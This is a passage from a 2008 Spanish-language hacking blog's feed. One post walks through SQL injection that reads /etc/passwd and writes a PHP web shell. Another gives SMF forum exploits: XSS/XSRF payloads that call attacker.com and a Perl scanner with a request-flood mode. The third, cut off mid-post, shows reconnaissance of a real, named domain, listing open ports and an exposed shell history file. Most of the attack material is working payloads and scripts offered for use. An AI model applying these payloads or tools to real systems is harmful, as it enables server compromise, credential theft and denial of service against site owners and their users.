/&gt;#By Xianur0&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;my $uri = $ARGV[0];&lt;br /&gt;$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");&lt;br /&gt;my $inyeccion = "-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0)";&lt;br /&gt;$uri .= "$inyeccion";&lt;br /&gt;for($i=1; $i&amp;lt;1000;$i++) {&lt;br /&gt;$uri .= ",concat(0x46757a7a657242795869616e757230,$i)";&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $uri);&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if($res-&amp;gt;content !~ "The used SELECT statements have a different number of columns") {&lt;br /&gt;for($o=0; $o&amp;lt;=$i;$o++) {&lt;br /&gt;if($res-&amp;gt;content =~ "FuzzerByXianur0$o") {&lt;br /&gt;print "Imprime Columna: $o\n";&lt;br /&gt;}&lt;br /&gt;} die "URI Generado: \n$uri\n";}}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;ya que tenemos las tablas a donde imprime vamos a comenzar a recolectar informacion:&lt;br /&gt;&lt;br /&gt;http://localhost/vuln.php?id=-10/**/UNION/**/SELECT/**/load_file(0x2f6574632f706173737764),1,2&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;nota:  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0x2f6574632f706173737764 es el equivalente a /etc/passwd en hexadecimal&lt;br /&gt;&lt;br /&gt;Si tenemos permisos de leer el archivo nos lo cargara.&lt;br /&gt;&lt;br /&gt;Suponiendo que tenemos el directorio donde se encuentra la web tambien podemos leer archivos con datos interesantes, por ejemplo en este ejemplo podemos sacar la password del MySQL, la cual se encuentra en este archivo que estamos usando para el ejemplo, y sabiendo que la ruta es: /opt/lampp/htdocs/vuln.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ahora podemos conectarnos al servidor MySQL.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;function conectado()&lt;br /&gt;{&lt;br /&gt;print '&amp;lt;h1&amp;gt;Conectado!&amp;lt;/h1&amp;gt;&amp;lt;form action="" method="POST"&amp;gt;&lt;br /&gt;&amp;lt;textarea rows="10" cols="40" name="comando"&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="xEcut!"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function inicio() {&lt;br /&gt;print '&amp;lt;form action="" method="GET"&amp;gt;&lt;br /&gt;&amp;lt;b&amp;gt;Server: &amp;lt;input type="text" name=server&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;User: &amp;lt;input type="text" name=user&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;Password: &amp;lt;input type="text" name=passwd&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;DB: &amp;lt;input type="text" name=db&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Conectar"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$link = mysql_connect($_GET['server'], $_GET['user'], $_GET['passwd']);&lt;br /&gt;$conectado = mysql_select_db($_GET['db'], $link);&lt;br /&gt;if($conectado) conectado();&lt;br /&gt;if(isset($_POST['comando'])) {&lt;br /&gt;$result = mysql_query($_POST['comando'], $link);&lt;br /&gt;while ($row = mysql_fetch_row($result)){&lt;br /&gt;echo '&amp;lt;textarea rows="10" cols="40"&amp;gt;';&lt;br /&gt;foreach($row as $indice =&amp;gt; $valor) print $valor."\n";&lt;br /&gt;print '&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;';&lt;br /&gt;}&lt;br /&gt;} else inicio();&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Tambien podemos crear archivos en el servidor, como por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;http://127.0.0.1/vuln.php?id=-10/**/UNION/**/SELECT/**/0,1,0x3c3f7068700d0a696e636c75646528277368656c6c27293b0d0a3f3e/**/INTO/**/OUTFILE/**/&lt;span style="font-weight: bold;"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="fullpost"&gt;&lt;span&gt;/opt/lampp/htdocs/shell.php&lt;/span&gt;&lt;/span&gt;&lt;span id="fullpost"&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Usemos La Shell:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;http://127.0.0.1/shell.php?shell=/etc/passwd&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/:/bin/false news:x:9:13:news:/usr/lib/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games:/bin/false ftp:x:14:50::/home/ftp:/bin/false smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/:/bin/false gdm:x:42:42:GDM:/var/state/gdm:/bin/bash apache:x:80:80:User for Apache:/srv/httpd:/bin/false messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false pop:x:90:90:POP:/:/bin/false nobody:x:99:99:nobody:/:/bin/false&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;También podemos poner en vez de /etc/passwd la url a una shell php.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;suponiendo que no tenemos acceso a editar esa carpeta, bueno podemos crear el php en el directorio tmp, y llamar la shell mediante un LFI (por dar un ejemplo).&lt;br /&gt;&lt;br /&gt;tambien se puede sacar las DBs enteras mediante load_file(), ya que los archivos de la DB se localizan en: /var/mysql/&lt;br /&gt;Los archivos mas interesantes son los: &lt;span style="font-weight: bold;"&gt;.MYD&lt;/span&gt; jeje, solo recuerden que no están del todo ordenados (están llenos de caracteres ilegibles humanamente hablando).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pero para ello programe un codigo para eliminar dichos caracteres:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;print "&amp;lt;title&amp;gt;Purificador de Caracteres By Xianur0&amp;lt;/title&amp;gt;&amp;lt;h1&amp;gt;Purificador de Caracteres By Xianur0&amp;lt;/h1&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;textarea rows='10' cols='30' name='code'&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type='submit' value='Limpiar!'&amp;gt;&amp;lt;/form&amp;gt;";&lt;br /&gt;function ascii2hex($ascii) {&lt;br /&gt;for ($i = 0; $i &amp;lt; strlen($ascii); $i++) {&lt;br /&gt;$byte = ord($ascii{$i});&lt;br /&gt;if($byte &amp;gt;=21 &amp;amp;&amp;amp; $byte &amp;lt;=126) {&lt;br /&gt;$hex .= chr($byte);&lt;br /&gt;}}&lt;br /&gt;return $hex;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(isset($_POST['code'])) print "&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Texto Limpiado: &amp;lt;br&amp;gt;&amp;lt;/b&amp;gt;".htmlentities(ascii2hex($_POST['code']));&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Nota: &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span id="fullpost"&gt;Vengador de las Sombras te voy a mandar a estudiar geometría xD.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span id="fullpost"&gt;http://es.wikipedia.org/wiki/Pentagrama_(geometr%C3%ADa)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1028402663046966606?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1028402663046966606/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1028402663046966606' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1028402663046966606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1028402663046966606'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html' title='Rootear Servidor Mediante SQL Injection'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5571473283744475878</id><published>2008-11-16T15:48:00.000-08:00</published><updated>2008-11-16T15:53:39.467-08:00</updated><title type='text'>Multiple Vulnerabilities in SMF (Simple Machines Forum) (0days)</title><content type='html'>&lt;span style="font-weight: bold;"&gt;lo posteo tal cual lo envie a milw0rm :)..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;0days jejje&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Author:&lt;/span&gt; Xianur0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Affected Versions:&lt;/span&gt; All&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vendors: &lt;/span&gt;Simple Machine Forums&lt;br /&gt;Vendors Webpage: http://www.simplemachines.org/&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;XSRF PoC (http://attacker.com/packages.xml):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;&amp;lt;!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list"&amp;gt;&lt;br /&gt;&amp;lt;!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;br /&gt;XSRF PoC By Xianur0&lt;br /&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;package-list xmlns="http://www.simplemachines.org/xml/package-list" xmlns:smf="http://www.simplemachines.org/"&amp;gt;&lt;br /&gt;&amp;lt;list-title&amp;gt;Xianur0 Was Here&amp;lt;/list-title&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;section&amp;gt;&lt;br /&gt;    &amp;lt;title&amp;gt;SMF XSS PoC By Xianur0&amp;lt;/title&amp;gt;&lt;br /&gt;    &amp;lt;text&amp;gt;&amp;lt;![CDATA[&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;]]&amp;gt;&amp;lt;/text&amp;gt;&lt;br /&gt;    &amp;lt;modification&amp;gt;&lt;br /&gt;        &amp;lt;id&amp;gt;Xianur0:XSMF&amp;lt;/id&amp;gt;&lt;br /&gt;        &amp;lt;name&amp;gt;SMF PoC By Xianur0&amp;lt;/name&amp;gt;&lt;br /&gt;        &amp;lt;filename&amp;gt;smfexploit.zip&amp;lt;/filename&amp;gt;&lt;br /&gt;        &amp;lt;version&amp;gt;0.1&amp;lt;/version&amp;gt;&lt;br /&gt;        &amp;lt;author email="uxmal666@gmail.com"&amp;gt;Xianur0&amp;lt;/author&amp;gt;&lt;br /&gt;        &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;]]&amp;gt;&amp;lt;/description&amp;gt;&lt;br /&gt;    &amp;lt;/modification&amp;gt;&lt;br /&gt;&amp;lt;/section&amp;gt;&lt;br /&gt;&amp;lt;/package-list&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;XSRF:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe src ="http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com" width="0%" scrolling=no width=0%&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Others Details:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Log Errors basically keeps any minimum error caused by users, good and if it saturated?&lt;br /&gt;&lt;br /&gt;http://www.web.com/foro/index.php?action=help;page[]=loginout&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;(Full path disclosure)&lt;/span&gt;&lt;br /&gt;This created a record of error in the log:&lt;br /&gt;&lt;br /&gt;2: Illegal offset type in isset or empty&lt;br /&gt;File: /var/www/xxxxxxxxxxxxxx.com/htdocs/Sources/Help.php&lt;br /&gt;Line: 65&lt;br /&gt;?action=help;page[]=loginout&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;This error is in Sources/Help.php on line 65:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;if (!isset($_GET['page']) || !isset($context['all_pages'][$&lt;br /&gt;_GET['page']]))&lt;br /&gt;$_GET['page'] = 'index';&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Correction:&lt;br /&gt;&lt;br /&gt;Código:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;if (!is_array($_GET['page']) &amp;amp;&amp;amp; !isset($_GET['page']) || !is_array($_GET['page']) &amp;amp;&amp;amp;  !isset($context['all_pages'][$_GET['page']]))&lt;br /&gt;$_GET['page'] = 'index';&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Errors handling packages:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Error handling packages for temporary, the SMF to upload a mod and run it makes a backup of each PHP file that is touched, but at the end of the amendment, not erased, then this can be accessed by any other user:&lt;br /&gt;&lt;br /&gt;http://www.victima.com/index.php~&lt;br /&gt;http://www.victima.com/Settings.php~&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Error leaves Files:&lt;/span&gt;&lt;br /&gt;Some of the SMF files are not protected as they should, for example:&lt;br /&gt;&lt;br /&gt;http://www.victima.com/Packages/installed.list&lt;br /&gt;&lt;br /&gt;This can be used for scan packet (many packets that are sent to SMF have security flaws such as XSS, SQL Inyection and in some cases RFI)&lt;br /&gt;&lt;br /&gt;Getting Directory installation of SMF (useful for attacking free hostings)&lt;br /&gt;&lt;br /&gt;http://www.victima.com/SSI.php?ssi_layers&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Result:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Notice: Undefined variable: ssi_layers in/home/web/public_html/forum/SSI.php on line 99&lt;br /&gt;Hacking attempt ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It also serves to create heavy logs as these mistakes are stored directly on:&lt;br /&gt;&lt;br /&gt;http://www.victima.com/error_log&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tool:&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use Getopt::Std;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $url = $ARGV[1] || die ("Use: smf.pl [Full URL] [option]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;$ua-&amp;gt;agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');&lt;br /&gt;&lt;br /&gt;    getopts('fplb', \%opt);&lt;br /&gt;    flood() if $opt{f};&lt;br /&gt;    path() if $opt{p};&lt;br /&gt;    list() if $opt{l};&lt;br /&gt;    temp() if $opt{b};&lt;br /&gt;&lt;br /&gt;sub headers {&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$req-&amp;gt;header('Accept-Language' =&amp;gt; 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub path {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/SSI.php?ssi_layers');&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt; my $html = $res-&amp;gt;content;&lt;br /&gt; my @htmls = split('Undefined variable: ssi_layers in &amp;lt;b&amp;gt;', $html);&lt;br /&gt; my @htmls = split('SSI.php&amp;lt;/b&amp;gt;', $htmls[1]);&lt;br /&gt;if($htmls[0] ne "") { print "Directory: $htmls[0]\n"; } else { print "Getting error Directory!\n";}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub flood {&lt;br /&gt;print "Starting Flood! (Press Ctrl + C To Finish)\n";&lt;br /&gt;$texto = "Flood!!!!!" x 15;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/index.php?action=help;page['.$texto.']=loginout');&lt;br /&gt;&amp;headers;&lt;br /&gt;for($i = 1; $i&amp;lt;10000; $i++) {&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;print "Sent: ".$i."\n";&lt;br /&gt;} else {&lt;br /&gt;print "HTTP Error Query: " . $res-&amp;gt;status_line . "\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub temp {&lt;br /&gt;@temps=('index.php~','Settings.php~','Settings_bak.php~');&lt;br /&gt;foreach $temp (@temps) {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url."/".$temp);&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;print "Temporary File Found: ".$url."/".$temp."\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub list {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url."/Packages/installed.list");&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt; my $html = $res-&amp;gt;content;&lt;br /&gt;my @htmls = split("\n", $html);&lt;br /&gt;foreach $mod (@htmls) {&lt;br /&gt;my @mod = split('\|\^\|', $mod);&lt;br /&gt;print "Description: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5571473283744475878?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5571473283744475878/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5571473283744475878' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5571473283744475878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5571473283744475878'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/multiple-vulnerabilities-in-smf-simple.html' title='Multiple Vulnerabilities in SMF (Simple Machines Forum) (0days)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3539459401170897598</id><published>2008-11-07T18:01:00.000-08:00</published><updated>2008-11-07T12:42:47.294-08:00</updated><title type='text'>www.carlosslim.com</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Puertos abiertos:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PORT     STATE    SERVICE&lt;/span&gt;&lt;br /&gt;23/tcp   open     telnet&lt;br /&gt;25/tcp   filtered smtp&lt;br /&gt;53/tcp   open     domain&lt;br /&gt;80/tcp   open     http&lt;br /&gt;514/tcp  open     shell&lt;br /&gt;554/tcp  open     rtsp&lt;br /&gt;646/tcp  filtered unknown&lt;br /&gt;1755/tcp open     wms&lt;br /&gt;3128/tcp open     squid-http&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;HTTP Proxy Transparent:&lt;/span&gt; www.carlosslim.com:3128&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Telnet:&lt;/span&gt; www.carlosslim.com:23&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bash History: &lt;/span&gt;http://ns6.carlosslim.com/.bash_history&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Analizando los DNS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;~ # &lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;dig @ns6.carlosslim.com carlosslim.com ANY&lt;/span&gt;  &lt;span style="color: rgb(51, 204, 0);"&gt;; &lt;&lt;&gt;&gt; DiG 9.4.1 &lt;&lt;&gt;&gt; @ns6.carlosslim.com carlosslim.com ANY&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;; (1 server found)&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; global options:  printcmd&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; Got answer:&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 36506&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; flags: qr aa rd; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 3&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; WARNING: recursion requested but not available&lt;/span&gt;  &lt;span style="color: rgb(51, 204, 0);"&gt;;; QUESTION SECTION:&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;carlosslim.com.                        IN      ANY&lt;/span&gt;  &lt;span style="color: rgb(51, 204, 0);"&gt;;; ANSWER SECTION:&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;carlosslim.com.         86400   IN      A       200.65.129.1&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;carlosslim.com.         86400   IN      A       200.65.0.26&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;carlosslim.com.         86400   IN      SOA     ns6.carlosslim.com. dominios.telmex.com. 84 28800 7200 604800 600&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;carlosslim.com.         86400   IN      MX      10 smtp.carlosslim.com.&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;carlosslim.com.         86400   IN      NS      ns6.carlosslim.com.&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;carlosslim.com.         86400   IN      NS      ns7.carlosslim.com.&lt;/span&gt;  &lt;span style="color: rgb(51, 204, 0);"&gt;;; ADDITIONAL SECTION:&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;smtp.carlosslim.com.    86400   IN      A       200.57.144.18&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;ns6.carlosslim.com.     86400   IN      A       200.57.141.232&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;ns7.carlosslim.com.     86400   IN      A       200.57.141.233&lt;/span&gt;  &lt;span style="color: rgb(51, 204, 0);"&gt;;; Query time: 73 msec&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; SERVER: 200.57.141.232#53(200.57.141.232)&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; WHEN: Wed Nov  5 16:51:14 2008&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;;; MSG SIZE  rcvd: 221&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;~ # &lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;nc -vv ns6.carlosslim.com 80&lt;/span&gt;&lt;br /&gt;&lt;span style="color: 